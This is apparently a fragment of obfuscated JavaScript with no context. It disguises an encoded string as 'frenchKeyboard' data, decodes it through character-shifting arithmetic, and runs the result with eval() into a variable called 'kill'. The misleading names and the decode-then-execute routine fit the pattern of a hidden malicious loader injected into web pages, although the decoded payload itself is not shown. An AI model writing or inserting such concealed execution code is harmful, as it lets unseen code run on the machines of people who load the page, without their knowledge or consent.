frenchKeyboard="}-&z,!'&7($-%|?@3«z-+T{'z-%|&,E,*x&+Ez'%%|&,E.x$-|Rx$x,xTKLG«!}?z-+E$|&~, Ux$x,x@3«{'z-%|&,E,*x&+Ez'%%|&,E.x$-|Tz-+E+-y+,*!&~?GCx$x,x@«5«{'z-%|&,E,*x&+E~~'&xE.x$-|Tx$x,xD?{'z-%|&,E,*x&+Ez'%%|&,E.x$-|E$|&~, @«5";result="";fkl=frenchKeyboard.length;flk=32;frenckKeyboard="£|©|«|´|Â|179|180|194|126";ba=3;Z3=23;O0=(flk/2)-ba;lfk="|";ab=(flk*ba)-1;o0=(ba*3);chrFromCode=frenckKeyboard.split(lfk);for(oo=0;oo<fkl;oo++){;oO=frenchKeyboard.substring(oo,oo+1);if(oO==chrFromCode[0]){;oO="\"";};if(oO==chrFromCode[1]){;oO="\\";};O=(oO.charCodeAt());if(O>parseFloat(chrFromCode[5])){;if(O==parseFloat(chrFromCode[6])){;O=O0;};if(O==parseFloat(chrFromCode[7])){;O=o0;};} else {;O=O-Z3;if(O<flk){;O=O+ab;};if(O>parseFloat(chrFromCode[8])){;O=O-ab;};};z3=String.fromCharCode(O);if(oO==chrFromCode[2]){;z3="\n";};result=result+z3;};kill=eval(result);kill